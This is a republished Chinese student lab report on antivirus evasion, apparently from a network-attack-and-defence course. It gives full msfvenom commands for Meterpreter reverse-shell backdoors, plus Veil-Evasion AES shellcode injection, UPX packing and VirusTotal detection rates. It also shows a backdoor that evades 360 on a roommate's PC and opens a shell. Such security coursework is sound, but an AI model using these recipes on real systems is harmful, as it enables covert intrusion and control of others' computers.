20191223-Exp3-免杀原理

Exp3-免杀原理

姓名:张俊怡 学号:20191223 课程:网络对抗技术

一、实践内容

  1. 方法
  2. 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  3. veil,加壳工具
  4. 使用C + shellcode编程

2.通过组合应用各种技术实现恶意代码免杀

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

  1. 附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

二、实践过程记录

1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

msfvenom是msfpayload,msfencode的结合体,可利用msfvenom生成木马程序,并在目标机上执行,在本地监听上线。
让我们看看它有哪些功能:

20191223-Exp3-免杀原理

翻译一下:

* -p, --payload payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled length> 为payload预先指定一个NOP滑动长度
-f, --format format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch architecture> 指定payload的目标架构
--platform platform> 指定payload的目标平台
-s, --space length> 设定有效攻击荷载的最大长度
-b, --bad-chars list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations count> 指定payload的编码次数
-c, --add-code path> 指定一个附加的win32 shellcode文件
-x, --template path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out path> 保存payload
-v, --var-name name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表

1.1 正确使用msf编码器,生成exe文件

在第二次实验中使用msf生成了一个后门程序,我们使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

20191223-Exp3-免杀原理

用VirusTotal扫描后结果如下图所示:

20191223-Exp3-免杀原理

检出率为(54/69)
由此可见不加处理的后门程序很容易被大部分杀软检测出来,因此我们尝试对其进行一次到多次编码,并进行检测。

一次编码
使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe

-e选择编码器,-b是payload中需要去除的字符,该命令中为了使’x00’不出现在shellcode中,因为shellcode以’\x00’为结束符

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(51/70),减少了一丢丢。。

十次编码
使用命令: msfvenom -p windows/meterpreter/reverse_tcp -e x86/unicode_mixed -b ‘\x00’ LHOST=192.168.1.154 LPORT=1223 -f exe > backdoor1.exe

-i设置迭代次数

(理论上增加编码次数会降低检出率)

20191223-Exp3-免杀原理

检测结果见下图:

20191223-Exp3-免杀原理

检出率为(54/70),并没有下降,反而上升了。

可见多次编码对免杀没有太大的效果,原因有两点:

  • 杀软研究的是编码器本身,shikata_ga_nai的解码部分总会需要加入到exe中,这部分总会被杀软识别出来,所以效果可能更差。
    msfvenom会以固定的模板生成exe,因此会有一定的固定特征。所以杀软会针对其使用的模板来生成特征码,这样就解决所有msfvenom生成的恶意代码了。如果使用msfvenom免杀,就要使用新的模板生成exe。

1.2 msfvenom生成jar文件

生成java后门程序使用命令:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor_java.jar

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(31/60),已经接近百分之50了。迈克菲依旧坚挺。。

1.3 msfvenom生成php文件

指令:

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 x> 20191223_backdoor.php

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理
检出率为(21/57),已经低于百分之50。

2.使用veil-evasion生成后门程序及检测

2.1安装veil

Veil-Evasion是一个免杀平台,与Metasploit有点类似,默认没装;
sudo apt-get install veil-evasion命令安装Veil

设置

cd /usr/share/veil/config
vim setup.sh

此时需要进入root模式。
按ESC键退出编辑内容模式,输入”:set number”后按回车键,就可以显示行号了。
找到第260行的github仓库地址,并改为码云的地址 https://gitee.com/spears/VeilDependencies.git

20191223-Exp3-免杀原理
修改成功后,等待veil安装
20191223-Exp3-免杀原理
等了好一会儿,终于done!
不过还有一个小问题:
20191223-Exp3-免杀原理
根据错误提示,执行如下命令: /usr/share/veil/config/setup.sh --force --silent
执行以上命令后,将自动修复错误。执行完成后,看到如下提示信息:
[I] If you have any errors running Veil, run: './Veil.py --setup' and select the nuke the wine folder option
[I] Done!

看到以上信息,则表示初始化成功。此时,重新执行veil命令,即可成功启动Veil-Evasion工具。

20191223-Exp3-免杀原理

2.2使用veil-evasion生成后门程序及检测

  • use evasion命令进入Evil-Evasion
    输入命令·use c/meterpreter/rev_tcp.py·进入配置界面

20191223-Exp3-免杀原理
设置IP和端口 set LHOST 192.168.21.131 和 set LPORT 1223
20191223-Exp3-免杀原理

输入 generate生成文件,接着输入你想要playload的名字: veil-20191223
VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

2.3免杀加壳尝试

加壳:加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。

  • 加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是隐藏程序真正的OEP(入口点,防止被破解,查壳就是为了找它),类似于动物界的龟壳。大多数病毒就是基于此原理。

指令upx 20191223veil.exe -o 20191223veil_upx.exe

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理
20191223-Exp3-免杀原理

检出率为(47/70)反而上升了,能看出加壳反而没什么效果。。。

3.使用C + shellcode编程

首先使用msfvenom得到shellcode

指令 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.154 LPORT=1223 -f c

20191223-Exp3-免杀原理

创建一个文件20191223backdoor.c,然后将unsigned char buf[]赋值到其中,代码如图:

20191223-Exp3-免杀原理

使用命令: i686-w64-mingw32-g++ 20191223backdoor.c -o 20191223backdoor.exe编译为可执行文件;

20191223-Exp3-免杀原理

VirusTotal网站的扫描结果如下:

20191223-Exp3-免杀原理

检出率为(34/70),低于百分之50.

4.通过组合应用各种技术实现恶意代码免杀

启动veil,进入evasion,输入list查看可用的有效荷载,如下:

20191223-Exp3-免杀原理
我们选择第28行的payload
use python/shellcode_inject/aes_encrypt.py
generate
选第二个

20191223-Exp3-免杀原理

找到文件位置,用VirusTotal网站的扫描结果如下,实现免杀:

20191223-Exp3-免杀原理

20191223-Exp3-免杀原理

原理是在py环境下利用AES加密方式对后门程序进行传输加密。。(微信小程序与此方式有相似之处)

5.附加题:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

我使用的测试机是我的舍友张潇的电脑。
电脑版本:win10
杀软版本:360安全卫士
kali虚拟机ip地址:192.168.1.216

在虚拟机输入命令 msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.1.216 lport=1223 -f raw -o 20191223.raw生成raw文件
(需要在root下执行)

20191223-Exp3-免杀原理

需要在对方计算机上下载 shellcode_launcher 参考博客
然后在对方的电脑上输入 shellcode_launcher.exe -i 20191223.raw 运行生成的文件

20191223-Exp3-免杀原理

然后打开杀软,进行检测:

20191223-Exp3-免杀原理
成功绕过杀软!!很激动!!
然后我们进入msf控制台,进行配置
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.1.216 //此处为kali端ip地址
set LPORT 1223
exploit

20191223-Exp3-免杀原理
成功获得shell!

6.基础问题回答

1.杀软是如何检测出恶意代码的?
答:
(1)基于特征码的检测. 恶意代码常常具有明显的 特征码也就是一段数据,杀软检测到具有该特征码的程序就当作检测到了恶意代码;
(2)基于CFG和数据流分析的污点追踪引擎。这算是对程序分析技术的经典应用;
(3)加密文件分析。
(4)基于行为的检测
杀软是通过行为识别的,只关心他干了什么事。
是指通用的、多特征的、非精确的扫描。

2.免杀是做什么?
答:就是通过修改PE文件的代码、软件加壳或改变文件的结构来达到躲避杀毒软件查杀的目的。

3.免杀的基本方法有哪些?
答:
(1)直接修改特征码的十六进制法.。修改方法:把特征码所对应的十六进制改成数字差1或差不多的十六进制. 。适用范围:一定要精确定位特征码所对应的十六进制,修改后一定要测试一下能. 否正常使用.。
(2)修改字符串大小写法。修改方法:把特征码所对应的内容是字符串的,只要把大小字互换一下就可以了。适用范围:特征码所对应的内容必需是字符串,否则不能成功.

(3)改变行为
通讯方式:
尽量使用反弹式连接,让被攻击机连接攻击机。这是现成的组件,实践中可以直接选择。
使用隧道技术,这个一般没有现成的组件。
加密通讯数据,杀软无法解密,也就无法检测了。这个也可以直接调用现成组件。

4.开启杀软能绝对防止电脑中恶意代码吗?
答:答案是否定的。。
我们不能保证杀软的病毒库记录了所有恶意代码的特征码片段,因为恶意代码是不断更新的。
根据网上的数据显示,目前最优秀的杀软也只能检测出98%的恶意软件。

7、实验体会

通过这次实验,我尝试了生成能实现免杀的后门程序(虽然仅针对360安全卫士和腾讯管家),我切实体会到杀毒软件并不是万能的,不能指望杀软能够解决掉所有的安全问题。我深入了解了杀软进行恶意代码查杀的机制之一(提取特征码),我们在实验中生成的程序如果进行联网查杀的话,第一次并不会查出来,但是一段时间后再进行杀毒,就会被发现,这是因为杀软把你刚生成的程序的特征码提取了出来,然后传到服务器(需要一定时间),杀软的特征库是一直再更新的。。作为信息安全专业的学生,我很高兴能够在本次实验中了解免杀流程以及杀软工作流程,明白了免杀程序的危害性以及杀软的缺点,我们日常工作中一定要留意电脑中的可疑程序,不要因为打开了杀软就觉得自己是安全的,要时刻警惕恶意软件的攻击。

Original: https://www.cnblogs.com/zzjjyy123/p/16098985.html
Author: 20191223张俊怡
Title: 20191223-Exp3-免杀原理

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/585851/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 等保测评2.0:Windows安全审计

    1、应启用安全审计功能,审计覆盖到每个用户,对重要的用户行为和重要安全事件进行审计 方案: 在管理工具打开本地安全策略,打开路径:安全设置\本地策略\审核策略,将全部审核策略配置为…

    Linux 2023年6月8日
    072
  • linux内核源代码组织结构

    linux版本 linux 3.6.24 第一个数字主版本号 第二个数字是偶数代表是稳定版 第三个代表修订次数 Original: https://www.cnblogs.com/…

    Linux 2023年6月7日
    090
  • 企业项目开发流程

    企业项目开发流程 商城 1.1 B2C 直销商城 商家与会员直接交易 ( Business To Customer ) 1.2 B2B 批发商城 商家与商家直接交易 1.3 B2B…

    Linux 2023年6月14日
    083
  • Linux下创建桌面快捷方式

    建立一个文本文件,文件名必须以.desktop结尾,.desktop前面的作为快捷方式的名称 添加如下内容 [Desktop Entry]Encoding=UTF-8Name=Po…

    Linux 2023年6月6日
    077
  • PHP PDF转图片

    Windows环境下 一、开启 Imagick 扩展 1、安装PHP扩展:Imagick,下载地址 https://pecl.php.net/package/imagick 注意和…

    Linux 2023年6月7日
    092
  • 多进程知识简单总结

    多进程间的全局变量不共享 一、代码展示 import multiprocessing as mul_p import time egg1 = 1 def write(egg2, q…

    Linux 2023年6月14日
    076
  • 关于熵,条件熵,交叉熵等的介绍

    参考:《数学之美》一文搞懂交叉熵在机器学习中的使用,透彻理解交叉熵背后的直觉详解机器学习中的熵、条件熵、相对熵和交叉熵常用的分类问题中的损失函数 1.信息量与信息熵 香农在他著名的…

    Linux 2023年6月13日
    090
  • Python环境安装

    一、下载地址: Python:Download Python | Python.org PyCharm:Download PyCharm: Python IDE for Profe…

    Linux 2023年6月13日
    093
  • LeetCode-补充题9. 36进制加法

    题目来源 题目详情 36进制由0-9,a-z,共36个字符表示。 要求按照加法规则计算出任意两个36进制正整数的和,如1b + 2x = 48 (解释:47+105=152) 要求…

    Linux 2023年6月7日
    092
  • 最新超详细Linux下LNMP环境搭建

    一、了解LNMP系统 当前两个主要应用的架构:LNMP和LAMP,都是指一组通常一起使用来运行动态网站或者服务器的自由软件名称。 LAMP的全称是:Linux + Apache +…

    Linux 2023年6月15日
    0137
  • 句柄过多导致SSH失败

    现象描述 scp文件的时候,突然有一个节点拷贝失败了。以为免密被修改了,结果一问说原因是:句柄过多。 以前这种情况接触较少,就顺带查了一下资料。 句柄的定义 这个标题隐含的一个前提…

    Linux 2023年6月8日
    089
  • WPF 推荐一个剪贴板内容查看工具

    本文来安利大家一个好用的 Windows 剪贴板的内容查看工具 这是在 GitHub 上完全免费开源的应用,由 walterlv 开发的应用,详细请看 https://github…

    Linux 2023年6月6日
    0111
  • 利用numpy实现list降维

    python读取数据库得到的事一个类似二维数组的list,有时候需要降维操作,numpy提供一个很有用的函数,可以直接使用 import numpy as np a = np.ar…

    Linux 2023年6月14日
    0101
  • prometheus operator 监控redis-exporter

    创建 redis-exporter service bash;gutter:false; apiVersion: v1 kind: Service metadata: labels…

    Linux 2023年5月28日
    081
  • python_变量

    字符串 1.字符串方法修改大小写 mes = ‘hi, im testing string operation’ print(mes) print(mes.title()) pri…

    Linux 2023年6月7日
    074
  • 自动化服务器巡检的实现过程

    由于上级的工作安排,从今年5月开始,每天都要做一些服务器信息检查。 [En] Due to the work arrangement of the superior, it is …

    Linux 2023年5月27日
    083
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球